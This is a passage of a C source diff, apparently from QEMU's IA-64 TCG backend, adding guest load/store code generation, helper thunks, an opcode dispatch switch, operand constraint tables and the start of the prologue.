OPC_DEP_Z_I12, TCG_REG_R3, + TCG_REG_R3, 63 - CPU_TLB_ENTRY_BITS, + 63 - CPU_TLB_ENTRY_BITS), + tcg_opc_i14(TCG_REG_P0, OPC_DEP_I14, TCG_REG_R1, 0, + TCG_REG_R57, 63 - s_bits, + TARGET_PAGE_BITS - s_bits - 1)); + tcg_out_bundle(s, MmI, + tcg_opc_a1 (TCG_REG_P0, OPC_ADD_A1, + TCG_REG_R2, TCG_REG_R2, TCG_REG_R3), + tcg_opc_m3 (TCG_REG_P0, + (TARGET_LONG_BITS == 32 + ? OPC_LD4_M3 : OPC_LD8_M3), TCG_REG_R3, + TCG_REG_R2, off_add - off_rw), + bswap1); + tcg_out_bundle(s, mmI, + tcg_opc_m1 (TCG_REG_P0, OPC_LD8_M1, TCG_REG_R2, TCG_REG_R2), + tcg_opc_a6 (TCG_REG_P0, OPC_CMP_EQ_A6, TCG_REG_P6, + TCG_REG_P7, TCG_REG_R1, TCG_REG_R3), + bswap2); +} + +#define TCG_MAX_QEMU_LDST 640 + +typedef struct TCGLabelQemuLdst { + bool is_ld; + TCGMemOp size; + tcg_insn_unit *label_ptr; /* label pointers to be updated */ +} TCGLabelQemuLdst; + +typedef struct TCGBackendData { + int nb_ldst_labels; + TCGLabelQemuLdst ldst_labels[TCG_MAX_QEMU_LDST]; +} TCGBackendData; + +static inline void tcg_out_tb_init(TCGContext *s) +{ + s->be->nb_ldst_labels = 0; +} + +static void add_qemu_ldst_label(TCGContext *s, bool is_ld, TCGMemOp opc, + tcg_insn_unit *label_ptr) +{ + TCGBackendData *be = s->be; + TCGLabelQemuLdst *l = &be->ldst_labels[be->nb_ldst_labels++]; + + assert(be->nb_ldst_labels <= TCG_MAX_QEMU_LDST); + l->is_ld = is_ld; + l->size = opc & MO_SIZE; + l->label_ptr = label_ptr; +} + +static void tcg_out_tb_finalize(TCGContext *s) +{ + static const void * const helpers[8] = { + helper_ret_stb_mmu, + helper_le_stw_mmu, + helper_le_stl_mmu, + helper_le_stq_mmu, + helper_ret_ldub_mmu, + helper_le_lduw_mmu, + helper_le_ldul_mmu, + helper_le_ldq_mmu, + }; + tcg_insn_unit *thunks[8] = { }; + TCGBackendData *be = s->be; + size_t i, n = be->nb_ldst_labels; + + for (i = 0; i < n; i++) { + TCGLabelQemuLdst *l = &be->ldst_labels[i]; + long x = l->is_ld * 4 + l->size; + tcg_insn_unit *dest = thunks[x]; + + /* The out-of-line thunks are all the same; load the return address + from B0, load the GP, and branch to the code. Note that we are + always post-call, so the register window has rolled, so we're + using incomming parameter register numbers, not outgoing. */ + if (dest == NULL) { + uintptr_t *desc = (uintptr_t *)helpers[x]; + uintptr_t func = desc[0], gp = desc[1], disp; + + thunks[x] = dest = s->code_ptr; + + tcg_out_bundle(s, mlx, + INSN_NOP_M, + tcg_opc_l2 (gp), + tcg_opc_x2 (TCG_REG_P0, OPC_MOVL_X2, + TCG_REG_R1, gp)); + tcg_out_bundle(s, mii, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_i22(TCG_REG_P0, OPC_MOV_I22, + l->is_ld ? TCG_REG_R35 : TCG_REG_R36, + TCG_REG_B0)); + disp = (tcg_insn_unit *)func - s->code_ptr; + tcg_out_bundle(s, mLX, + INSN_NOP_M, + tcg_opc_l3 (disp), + tcg_opc_x3 (TCG_REG_P0, OPC_BRL_SPTK_MANY_X3, disp)); + } + + reloc_pcrel21b_slot2(l->label_ptr, dest); + } +} + +static inline void tcg_out_qemu_ld(TCGContext *s, const TCGArg *args) +{ + static const uint64_t opc_ld_m1[4] = { + OPC_LD1_M1, OPC_LD2_M1, OPC_LD4_M1, OPC_LD8_M1 + }; + int addr_reg, data_reg, mem_index; + TCGMemOp opc, s_bits; + uint64_t fin1, fin2; + tcg_insn_unit *label_ptr; + + data_reg = args[0]; + addr_reg = args[1]; + opc = args[2]; + mem_index = args[3]; + s_bits = opc & MO_SIZE; + + /* Read the TLB entry */ + tcg_out_qemu_tlb(s, addr_reg, s_bits, + offsetof(CPUArchState, tlb_table[mem_index][0].addr_read), + offsetof(CPUArchState, tlb_table[mem_index][0].addend), + INSN_NOP_I, INSN_NOP_I); + + /* P6 is the fast path, and P7 the slow path */ + + fin2 = 0; + if (opc & MO_BSWAP) { + fin1 = tcg_opc_bswap64_i(TCG_REG_P0, data_reg, TCG_REG_R8); + if (s_bits < MO_64) { + int shift = 64 - (8 << s_bits); + fin2 = (opc & MO_SIGN ? OPC_EXTR_I11 : OPC_EXTR_U_I11); + fin2 = tcg_opc_i11(TCG_REG_P0, fin2, + data_reg, data_reg, shift, 63 - shift); + } + } else { + fin1 = tcg_opc_ext_i(TCG_REG_P0, opc, data_reg, TCG_REG_R8); + } + + tcg_out_bundle(s, mmI, + tcg_opc_mov_a(TCG_REG_P7, TCG_REG_R56, TCG_AREG0), + tcg_opc_a1 (TCG_REG_P6, OPC_ADD_A1, TCG_REG_R2, + TCG_REG_R2, TCG_REG_R57), + tcg_opc_movi_a(TCG_REG_P7, TCG_REG_R58, mem_index)); + label_ptr = s->code_ptr; + tcg_out_bundle(s, miB, + tcg_opc_m1 (TCG_REG_P6, opc_ld_m1[s_bits], + TCG_REG_R8, TCG_REG_R2), + INSN_NOP_I, + tcg_opc_b3 (TCG_REG_P7, OPC_BR_CALL_SPNT_FEW_B3, TCG_REG_B0, + get_reloc_pcrel21b_slot2(label_ptr))); + + add_qemu_ldst_label(s, 1, opc, label_ptr); + + /* Note that we always use LE helper functions, so the bswap insns + here for the fast path also apply to the slow path. */ + tcg_out_bundle(s, (fin2 ? mII : miI), + INSN_NOP_M, + fin1, + fin2 ? fin2 : INSN_NOP_I); +} + +static inline void tcg_out_qemu_st(TCGContext *s, const TCGArg *args) +{ + static const uint64_t opc_st_m4[4] = { + OPC_ST1_M4, OPC_ST2_M4, OPC_ST4_M4, OPC_ST8_M4 + }; + TCGReg addr_reg, data_reg; + int mem_index; + uint64_t pre1, pre2; + TCGMemOp opc, s_bits; + tcg_insn_unit *label_ptr; + + data_reg = args[0]; + addr_reg = args[1]; + opc = args[2]; + mem_index = args[3]; + s_bits = opc & MO_SIZE; + + /* Note that we always use LE helper functions, so the bswap insns + that are here for the fast path also apply to the slow path, + and move the data into the argument register. */ + pre2 = INSN_NOP_I; + if (opc & MO_BSWAP) { + pre1 = tcg_opc_bswap64_i(TCG_REG_P0, TCG_REG_R58, data_reg); + if (s_bits < MO_64) { + int shift = 64 - (8 << s_bits); + pre2 = tcg_opc_i11(TCG_REG_P0, OPC_EXTR_U_I11, + TCG_REG_R58, TCG_REG_R58, shift, 63 - shift); + } + } else { + /* Just move the data into place for the slow path. */ + pre1 = tcg_opc_ext_i(TCG_REG_P0, opc, TCG_REG_R58, data_reg); + } + + tcg_out_qemu_tlb(s, addr_reg, s_bits, + offsetof(CPUArchState, tlb_table[mem_index][0].addr_write), + offsetof(CPUArchState, tlb_table[mem_index][0].addend), + pre1, pre2); + + /* P6 is the fast path, and P7 the slow path */ + tcg_out_bundle(s, mmI, + tcg_opc_mov_a(TCG_REG_P7, TCG_REG_R56, TCG_AREG0), + tcg_opc_a1 (TCG_REG_P6, OPC_ADD_A1, TCG_REG_R2, + TCG_REG_R2, TCG_REG_R57), + tcg_opc_movi_a(TCG_REG_P7, TCG_REG_R59, mem_index)); + label_ptr = s->code_ptr; + tcg_out_bundle(s, miB, + tcg_opc_m4 (TCG_REG_P6, opc_st_m4[s_bits], + TCG_REG_R58, TCG_REG_R2), + INSN_NOP_I, + tcg_opc_b3 (TCG_REG_P7, OPC_BR_CALL_SPNT_FEW_B3, TCG_REG_B0, + get_reloc_pcrel21b_slot2(label_ptr))); + + add_qemu_ldst_label(s, 0, opc, label_ptr); +} + +#else /* !CONFIG_SOFTMMU */ +# include "tcg-be-null.h" + +static inline void tcg_out_qemu_ld(TCGContext *s, const TCGArg *args) +{ + static uint64_t const opc_ld_m1[4] = { + OPC_LD1_M1, OPC_LD2_M1, OPC_LD4_M1, OPC_LD8_M1 + }; + int addr_reg, data_reg; + TCGMemOp opc, s_bits, bswap; + + data_reg = args[0]; + addr_reg = args[1]; + opc = args[2]; + s_bits = opc & MO_SIZE; + bswap = opc & MO_BSWAP; + +#if TARGET_LONG_BITS == 32 + if (GUEST_BASE != 0) { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i29(TCG_REG_P0, OPC_ZXT4_I29, + TCG_REG_R3, addr_reg), + tcg_opc_a1 (TCG_REG_P0, OPC_ADD_A1, TCG_REG_R2, + TCG_GUEST_BASE_REG, TCG_REG_R3)); + } else { + tcg_out_bundle(s, miI, + INSN_NOP_M, + tcg_opc_i29(TCG_REG_P0, OPC_ZXT4_I29, + TCG_REG_R2, addr_reg), + INSN_NOP_I); + } + + if (!bswap) { + if (!(opc & MO_SIGN)) { + tcg_out_bundle(s, miI, + tcg_opc_m1 (TCG_REG_P0, opc_ld_m1[s_bits], + data_reg, TCG_REG_R2), + INSN_NOP_I, + INSN_NOP_I); + } else { + tcg_out_bundle(s, mII, + tcg_opc_m1 (TCG_REG_P0, opc_ld_m1[s_bits], + data_reg, TCG_REG_R2), + INSN_NOP_I, + tcg_opc_ext_i(TCG_REG_P0, opc, data_reg, data_reg)); + } + } else if (s_bits == MO_64) { + tcg_out_bundle(s, mII, + tcg_opc_m1 (TCG_REG_P0, opc_ld_m1[s_bits], + data_reg, TCG_REG_R2), + INSN_NOP_I, + tcg_opc_bswap64_i(TCG_REG_P0, data_reg, data_reg)); + } else { + if (s_bits == MO_16) { + tcg_out_bundle(s, mII, + tcg_opc_m1 (TCG_REG_P0, opc_ld_m1[s_bits], + data_reg, TCG_REG_R2), + INSN_NOP_I, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, + data_reg, data_reg, 15, 15)); + } else { + tcg_out_bundle(s, mII, + tcg_opc_m1 (TCG_REG_P0, opc_ld_m1[s_bits], + data_reg, TCG_REG_R2), + INSN_NOP_I, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, + data_reg, data_reg, 31, 31)); + } + if (!(opc & MO_SIGN)) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_bswap64_i(TCG_REG_P0, data_reg, data_reg)); + } else { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_bswap64_i(TCG_REG_P0, data_reg, data_reg), + tcg_opc_ext_i(TCG_REG_P0, opc, data_reg, data_reg)); + } + } +#else + if (GUEST_BASE != 0) { + tcg_out_bundle(s, MmI, + tcg_opc_a1 (TCG_REG_P0, OPC_ADD_A1, TCG_REG_R2, + TCG_GUEST_BASE_REG, addr_reg), + tcg_opc_m1 (TCG_REG_P0, opc_ld_m1[s_bits], + data_reg, TCG_REG_R2), + INSN_NOP_I); + } else { + tcg_out_bundle(s, mmI, + INSN_NOP_M, + tcg_opc_m1 (TCG_REG_P0, opc_ld_m1[s_bits], + data_reg, addr_reg), + INSN_NOP_I); + } + + if (bswap && s_bits == MO_16) { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, + data_reg, data_reg, 15, 15), + tcg_opc_bswap64_i(TCG_REG_P0, data_reg, data_reg)); + } else if (bswap && s_bits == MO_32) { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, + data_reg, data_reg, 31, 31), + tcg_opc_bswap64_i(TCG_REG_P0, data_reg, data_reg)); + } else if (bswap && s_bits == MO_64) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_bswap64_i(TCG_REG_P0, data_reg, data_reg)); + } + if (opc & MO_SIGN) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_ext_i(TCG_REG_P0, opc, data_reg, data_reg)); + } +#endif +} + +static inline void tcg_out_qemu_st(TCGContext *s, const TCGArg *args) +{ + static uint64_t const opc_st_m4[4] = { + OPC_ST1_M4, OPC_ST2_M4, OPC_ST4_M4, OPC_ST8_M4 + }; + int addr_reg, data_reg; +#if TARGET_LONG_BITS == 64 + uint64_t add_guest_base; +#endif + TCGMemOp opc, s_bits, bswap; + + data_reg = args[0]; + addr_reg = args[1]; + opc = args[2]; + s_bits = opc & MO_SIZE; + bswap = opc & MO_BSWAP; + +#if TARGET_LONG_BITS == 32 + if (GUEST_BASE != 0) { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i29(TCG_REG_P0, OPC_ZXT4_I29, + TCG_REG_R3, addr_reg), + tcg_opc_a1 (TCG_REG_P0, OPC_ADD_A1, TCG_REG_R2, + TCG_GUEST_BASE_REG, TCG_REG_R3)); + } else { + tcg_out_bundle(s, miI, + INSN_NOP_M, + tcg_opc_i29(TCG_REG_P0, OPC_ZXT4_I29, + TCG_REG_R2, addr_reg), + INSN_NOP_I); + } + + if (bswap) { + if (s_bits == MO_16) { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, + TCG_REG_R3, data_reg, 15, 15), + tcg_opc_bswap64_i(TCG_REG_P0, + TCG_REG_R3, TCG_REG_R3)); + data_reg = TCG_REG_R3; + } else if (s_bits == MO_32) { + tcg_out_bundle(s, mII, + INSN_NOP_M, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, + TCG_REG_R3, data_reg, 31, 31), + tcg_opc_bswap64_i(TCG_REG_P0, + TCG_REG_R3, TCG_REG_R3)); + data_reg = TCG_REG_R3; + } else if (s_bits == MO_64) { + tcg_out_bundle(s, miI, + INSN_NOP_M, + INSN_NOP_I, + tcg_opc_bswap64_i(TCG_REG_P0, TCG_REG_R3, data_reg)); + data_reg = TCG_REG_R3; + } + } + tcg_out_bundle(s, mmI, + tcg_opc_m4 (TCG_REG_P0, opc_st_m4[s_bits], + data_reg, TCG_REG_R2), + INSN_NOP_M, + INSN_NOP_I); +#else + if (GUEST_BASE != 0) { + add_guest_base = tcg_opc_a1 (TCG_REG_P0, OPC_ADD_A1, TCG_REG_R2, + TCG_GUEST_BASE_REG, addr_reg); + addr_reg = TCG_REG_R2; + } else { + add_guest_base = INSN_NOP_M; + } + + if (!bswap) { + tcg_out_bundle(s, (GUEST_BASE ? MmI : mmI), + add_guest_base, + tcg_opc_m4 (TCG_REG_P0, opc_st_m4[s_bits], + data_reg, addr_reg), + INSN_NOP_I); + } else { + if (s_bits == MO_16) { + tcg_out_bundle(s, mII, + add_guest_base, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, + TCG_REG_R3, data_reg, 15, 15), + tcg_opc_bswap64_i(TCG_REG_P0, + TCG_REG_R3, TCG_REG_R3)); + data_reg = TCG_REG_R3; + } else if (s_bits == MO_32) { + tcg_out_bundle(s, mII, + add_guest_base, + tcg_opc_i12(TCG_REG_P0, OPC_DEP_Z_I12, + TCG_REG_R3, data_reg, 31, 31), + tcg_opc_bswap64_i(TCG_REG_P0, + TCG_REG_R3, TCG_REG_R3)); + data_reg = TCG_REG_R3; + } else if (s_bits == MO_64) { + tcg_out_bundle(s, miI, + add_guest_base, + INSN_NOP_I, + tcg_opc_bswap64_i(TCG_REG_P0, TCG_REG_R3, data_reg)); + data_reg = TCG_REG_R3; + } + tcg_out_bundle(s, miI, + tcg_opc_m4 (TCG_REG_P0, opc_st_m4[s_bits], + data_reg, addr_reg), + INSN_NOP_I, + INSN_NOP_I); + } +#endif +} + +#endif + +static inline void tcg_out_op(TCGContext *s, TCGOpcode opc, + const TCGArg *args, const int *const_args) +{ + switch(opc) { + case INDEX_op_exit_tb: + tcg_out_exit_tb(s, args[0]); + break; + case INDEX_op_br: + tcg_out_br(s, args[0]); + break; + case INDEX_op_goto_tb: + tcg_out_goto_tb(s, args[0]); + break; + + case INDEX_op_ld8u_i32: + case INDEX_op_ld8u_i64: + tcg_out_ld_rel(s, OPC_LD1_M1, args[0], args[1], args[2]); + break; + case INDEX_op_ld8s_i32: + case INDEX_op_ld8s_i64: + tcg_out_ld_rel(s, OPC_LD1_M1, args[0], args[1], args[2]); + tcg_out_ext(s, OPC_SXT1_I29, args[0], args[0]); + break; + case INDEX_op_ld16u_i32: + case INDEX_op_ld16u_i64: + tcg_out_ld_rel(s, OPC_LD2_M1, args[0], args[1], args[2]); + break; + case INDEX_op_ld16s_i32: + case INDEX_op_ld16s_i64: + tcg_out_ld_rel(s, OPC_LD2_M1, args[0], args[1], args[2]); + tcg_out_ext(s, OPC_SXT2_I29, args[0], args[0]); + break; + case INDEX_op_ld_i32: + case INDEX_op_ld32u_i64: + tcg_out_ld_rel(s, OPC_LD4_M1, args[0], args[1], args[2]); + break; + case INDEX_op_ld32s_i64: + tcg_out_ld_rel(s, OPC_LD4_M1, args[0], args[1], args[2]); + tcg_out_ext(s, OPC_SXT4_I29, args[0], args[0]); + break; + case INDEX_op_ld_i64: + tcg_out_ld_rel(s, OPC_LD8_M1, args[0], args[1], args[2]); + break; + case INDEX_op_st8_i32: + case INDEX_op_st8_i64: + tcg_out_st_rel(s, OPC_ST1_M4, args[0], args[1], args[2]); + break; + case INDEX_op_st16_i32: + case INDEX_op_st16_i64: + tcg_out_st_rel(s, OPC_ST2_M4, args[0], args[1], args[2]); + break; + case INDEX_op_st_i32: + case INDEX_op_st32_i64: + tcg_out_st_rel(s, OPC_ST4_M4, args[0], args[1], args[2]); + break; + case INDEX_op_st_i64: + tcg_out_st_rel(s, OPC_ST8_M4, args[0], args[1], args[2]); + break; + + case INDEX_op_add_i32: + case INDEX_op_add_i64: + tcg_out_add(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_sub_i32: + case INDEX_op_sub_i64: + tcg_out_sub(s, args[0], args[1], const_args[1], args[2], const_args[2]); + break; + + case INDEX_op_and_i32: + case INDEX_op_and_i64: + /* TCG expects arg2 constant; A3 expects arg1 constant. Swap. */ + tcg_out_alu(s, OPC_AND_A1, OPC_AND_A3, args[0], + args[2], const_args[2], args[1], const_args[1]); + break; + case INDEX_op_andc_i32: + case INDEX_op_andc_i64: + tcg_out_alu(s, OPC_ANDCM_A1, OPC_ANDCM_A3, args[0], + args[1], const_args[1], args[2], const_args[2]); + break; + case INDEX_op_eqv_i32: + case INDEX_op_eqv_i64: + tcg_out_eqv(s, args[0], args[1], const_args[1], + args[2], const_args[2]); + break; + case INDEX_op_nand_i32: + case INDEX_op_nand_i64: + tcg_out_nand(s, args[0], args[1], const_args[1], + args[2], const_args[2]); + break; + case INDEX_op_nor_i32: + case INDEX_op_nor_i64: + tcg_out_nor(s, args[0], args[1], const_args[1], + args[2], const_args[2]); + break; + case INDEX_op_or_i32: + case INDEX_op_or_i64: + /* TCG expects arg2 constant; A3 expects arg1 constant. Swap. */ + tcg_out_alu(s, OPC_OR_A1, OPC_OR_A3, args[0], + args[2], const_args[2], args[1], const_args[1]); + break; + case INDEX_op_orc_i32: + case INDEX_op_orc_i64: + tcg_out_orc(s, args[0], args[1], const_args[1], + args[2], const_args[2]); + break; + case INDEX_op_xor_i32: + case INDEX_op_xor_i64: + /* TCG expects arg2 constant; A3 expects arg1 constant. Swap. */ + tcg_out_alu(s, OPC_XOR_A1, OPC_XOR_A3, args[0], + args[2], const_args[2], args[1], const_args[1]); + break; + + case INDEX_op_mul_i32: + case INDEX_op_mul_i64: + tcg_out_mul(s, args[0], args[1], args[2]); + break; + + case INDEX_op_sar_i32: + tcg_out_sar_i32(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_sar_i64: + tcg_out_sar_i64(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_shl_i32: + tcg_out_shl_i32(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_shl_i64: + tcg_out_shl_i64(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_shr_i32: + tcg_out_shr_i32(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_shr_i64: + tcg_out_shr_i64(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_rotl_i32: + tcg_out_rotl_i32(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_rotl_i64: + tcg_out_rotl_i64(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_rotr_i32: + tcg_out_rotr_i32(s, args[0], args[1], args[2], const_args[2]); + break; + case INDEX_op_rotr_i64: + tcg_out_rotr_i64(s, args[0], args[1], args[2], const_args[2]); + break; + + case INDEX_op_ext8s_i32: + case INDEX_op_ext8s_i64: + tcg_out_ext(s, OPC_SXT1_I29, args[0], args[1]); + break; + case INDEX_op_ext8u_i32: + case INDEX_op_ext8u_i64: + tcg_out_ext(s, OPC_ZXT1_I29, args[0], args[1]); + break; + case INDEX_op_ext16s_i32: + case INDEX_op_ext16s_i64: + tcg_out_ext(s, OPC_SXT2_I29, args[0], args[1]); + break; + case INDEX_op_ext16u_i32: + case INDEX_op_ext16u_i64: + tcg_out_ext(s, OPC_ZXT2_I29, args[0], args[1]); + break; + case INDEX_op_ext32s_i64: + tcg_out_ext(s, OPC_SXT4_I29, args[0], args[1]); + break; + case INDEX_op_ext32u_i64: + tcg_out_ext(s, OPC_ZXT4_I29, args[0], args[1]); + break; + + case INDEX_op_bswap16_i32: + case INDEX_op_bswap16_i64: + tcg_out_bswap16(s, args[0], args[1]); + break; + case INDEX_op_bswap32_i32: + case INDEX_op_bswap32_i64: + tcg_out_bswap32(s, args[0], args[1]); + break; + case INDEX_op_bswap64_i64: + tcg_out_bswap64(s, args[0], args[1]); + break; + + case INDEX_op_deposit_i32: + case INDEX_op_deposit_i64: + tcg_out_deposit(s, args[0], args[1], args[2], const_args[2], + args[3], args[4]); + break; + + case INDEX_op_brcond_i32: + tcg_out_brcond(s, args[2], args[0], args[1], args[3], 1); + break; + case INDEX_op_brcond_i64: + tcg_out_brcond(s, args[2], args[0], args[1], args[3], 0); + break; + case INDEX_op_setcond_i32: + tcg_out_setcond(s, args[3], args[0], args[1], args[2], 1); + break; + case INDEX_op_setcond_i64: + tcg_out_setcond(s, args[3], args[0], args[1], args[2], 0); + break; + case INDEX_op_movcond_i32: + tcg_out_movcond(s, args[5], args[0], args[1], args[2], + args[3], const_args[3], args[4], const_args[4], 1); + break; + case INDEX_op_movcond_i64: + tcg_out_movcond(s, args[5], args[0], args[1], args[2], + args[3], const_args[3], args[4], const_args[4], 0); + break; + + case INDEX_op_qemu_ld_i32: + tcg_out_qemu_ld(s, args); + break; + case INDEX_op_qemu_ld_i64: + tcg_out_qemu_ld(s, args); + break; + case INDEX_op_qemu_st_i32: + tcg_out_qemu_st(s, args); + break; + case INDEX_op_qemu_st_i64: + tcg_out_qemu_st(s, args); + break; + + case INDEX_op_mov_i32: /* Always emitted via tcg_out_mov. */ + case INDEX_op_mov_i64: + case INDEX_op_movi_i32: /* Always emitted via tcg_out_movi. */ + case INDEX_op_movi_i64: + case INDEX_op_call: /* Always emitted via tcg_out_call. */ + default: + tcg_abort(); + } +} + +static const TCGTargetOpDef ia64_op_defs[] = { + { INDEX_op_br, { } }, + { INDEX_op_exit_tb, { } }, + { INDEX_op_goto_tb, { } }, + + { INDEX_op_ld8u_i32, { "r", "r" } }, + { INDEX_op_ld8s_i32, { "r", "r" } }, + { INDEX_op_ld16u_i32, { "r", "r" } }, + { INDEX_op_ld16s_i32, { "r", "r" } }, + { INDEX_op_ld_i32, { "r", "r" } }, + { INDEX_op_st8_i32, { "rZ", "r" } }, + { INDEX_op_st16_i32, { "rZ", "r" } }, + { INDEX_op_st_i32, { "rZ", "r" } }, + + { INDEX_op_add_i32, { "r", "rZ", "rI" } }, + { INDEX_op_sub_i32, { "r", "rI", "rI" } }, + + { INDEX_op_and_i32, { "r", "rI", "rI" } }, + { INDEX_op_andc_i32, { "r", "rI", "rI" } }, + { INDEX_op_eqv_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_nand_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_nor_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_or_i32, { "r", "rI", "rI" } }, + { INDEX_op_orc_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_xor_i32, { "r", "rI", "rI" } }, + + { INDEX_op_mul_i32, { "r", "rZ", "rZ" } }, + + { INDEX_op_sar_i32, { "r", "rZ", "ri" } }, + { INDEX_op_shl_i32, { "r", "rZ", "ri" } }, + { INDEX_op_shr_i32, { "r", "rZ", "ri" } }, + { INDEX_op_rotl_i32, { "r", "rZ", "ri" } }, + { INDEX_op_rotr_i32, { "r", "rZ", "ri" } }, + + { INDEX_op_ext8s_i32, { "r", "rZ"} }, + { INDEX_op_ext8u_i32, { "r", "rZ"} }, + { INDEX_op_ext16s_i32, { "r", "rZ"} }, + { INDEX_op_ext16u_i32, { "r", "rZ"} }, + + { INDEX_op_bswap16_i32, { "r", "rZ" } }, + { INDEX_op_bswap32_i32, { "r", "rZ" } }, + + { INDEX_op_brcond_i32, { "rZ", "rZ" } }, + { INDEX_op_setcond_i32, { "r", "rZ", "rZ" } }, + { INDEX_op_movcond_i32, { "r", "rZ", "rZ", "rI", "rI" } }, + + { INDEX_op_ld8u_i64, { "r", "r" } }, + { INDEX_op_ld8s_i64, { "r", "r" } }, + { INDEX_op_ld16u_i64, { "r", "r" } }, + { INDEX_op_ld16s_i64, { "r", "r" } }, + { INDEX_op_ld32u_i64, { "r", "r" } }, + { INDEX_op_ld32s_i64, { "r", "r" } }, + { INDEX_op_ld_i64, { "r", "r" } }, + { INDEX_op_st8_i64, { "rZ", "r" } }, + { INDEX_op_st16_i64, { "rZ", "r" } }, + { INDEX_op_st32_i64, { "rZ", "r" } }, + { INDEX_op_st_i64, { "rZ", "r" } }, + + { INDEX_op_add_i64, { "r", "rZ", "rI" } }, + { INDEX_op_sub_i64, { "r", "rI", "rI" } }, + + { INDEX_op_and_i64, { "r", "rI", "rI" } }, + { INDEX_op_andc_i64, { "r", "rI", "rI" } }, + { INDEX_op_eqv_i64, { "r", "rZ", "rZ" } }, + { INDEX_op_nand_i64, { "r", "rZ", "rZ" } }, + { INDEX_op_nor_i64, { "r", "rZ", "rZ" } }, + { INDEX_op_or_i64, { "r", "rI", "rI" } }, + { INDEX_op_orc_i64, { "r", "rZ", "rZ" } }, + { INDEX_op_xor_i64, { "r", "rI", "rI" } }, + + { INDEX_op_mul_i64, { "r", "rZ", "rZ" } }, + + { INDEX_op_sar_i64, { "r", "rZ", "ri" } }, + { INDEX_op_shl_i64, { "r", "rZ", "ri" } }, + { INDEX_op_shr_i64, { "r", "rZ", "ri" } }, + { INDEX_op_rotl_i64, { "r", "rZ", "ri" } }, + { INDEX_op_rotr_i64, { "r", "rZ", "ri" } }, + + { INDEX_op_ext8s_i64, { "r", "rZ"} }, + { INDEX_op_ext8u_i64, { "r", "rZ"} }, + { INDEX_op_ext16s_i64, { "r", "rZ"} }, + { INDEX_op_ext16u_i64, { "r", "rZ"} }, + { INDEX_op_ext32s_i64, { "r", "rZ"} }, + { INDEX_op_ext32u_i64, { "r", "rZ"} }, + + { INDEX_op_bswap16_i64, { "r", "rZ" } }, + { INDEX_op_bswap32_i64, { "r", "rZ" } }, + { INDEX_op_bswap64_i64, { "r", "rZ" } }, + + { INDEX_op_brcond_i64, { "rZ", "rZ" } }, + { INDEX_op_setcond_i64, { "r", "rZ", "rZ" } }, + { INDEX_op_movcond_i64, { "r", "rZ", "rZ", "rI", "rI" } }, + + { INDEX_op_deposit_i32, { "r", "rZ", "ri" } }, + { INDEX_op_deposit_i64, { "r", "rZ", "ri" } }, + + { INDEX_op_qemu_ld_i32, { "r", "r" } }, + { INDEX_op_qemu_ld_i64, { "r", "r" } }, + { INDEX_op_qemu_st_i32, { "SZ", "r" } }, + { INDEX_op_qemu_st_i64, { "SZ", "r" } }, + + { -1 }, +}; + +/* Generate global QEMU prologue and epilogue code */ +static void tcg_target_qemu_prologue(TCGContext *s) +{ + int frame_size; + + /* reserve some stack space */ + frame_size = TCG_STATIC_CALL_ARGS_SIZE + + CPU_TEMP_BUF_NLONGS * sizeof(long); + frame_size = (frame_size + TCG_TARGET_STACK_ALIGN - 1) & + ~(TCG_TARGET_STACK_ALIGN - 1); + tcg_set_frame(s, TCG_REG_CALL_STACK, TCG_STATIC_CALL_ARGS_SIZE, + CPU_TEMP_BUF_NLONGS * sizeof(long)); + + /* First emit adhoc function descriptor */ + *s->code_ptr = (tcg_insn_unit){ + (uint64_t)(s->code_ptr + 1), /* entry point */ + 0 /* skip gp */ + }; + s->code_ptr++; + + /* prologue */ + tcg_out_bundle(s, miI, + tcg_opc_m34(TCG_REG_P0, OPC_ALLOC_M34, + TCG_REG_R34, 32, 24, 0), + INSN_NOP_I, + tcg_opc_i21(TCG_REG_P0, OPC_MOV_I21, + TCG_REG_B6, TCG_REG_R33, 0)); + + /* ??? If GUEST_BASE < 0x200000, we could load the register via + an ADDL in the M slot of the next bundle. */ + if (GUEST_BASE != 0) { + tcg_out_bundle(s, mlx, + INSN_NOP_M, + tcg_opc_l2 (GUEST_BASE), + tcg_opc_x2 (TCG_REG_P0, OPC_MOVL_X2, + TCG_GUEST_BASE_REG, GUEST_BASE)); + tcg_regset_set_reg(s->reserved_regs, TCG_GUEST_BASE_REG); + } + + tcg_out_bundle(s, miB, + tcg_opc_a4 (TCG_REG_P0, OPC_ADDS_A4, + TCG_REG_R12, -frame_size, TCG_REG_R12), + tcg_opc_i22(TCG_REG_P0, OPC_MOV_I22, + TCG_REG_R33, TCG_REG_B0), + tcg_opc_b4 (TCG_REG_P0, OPC_BR_SPTK_MANY_B4, TCG_REG_B6)); + + /* epilogue */ + tb_ret_addr = s->code_ptr; + tcg_out_bundle(s, miI, + 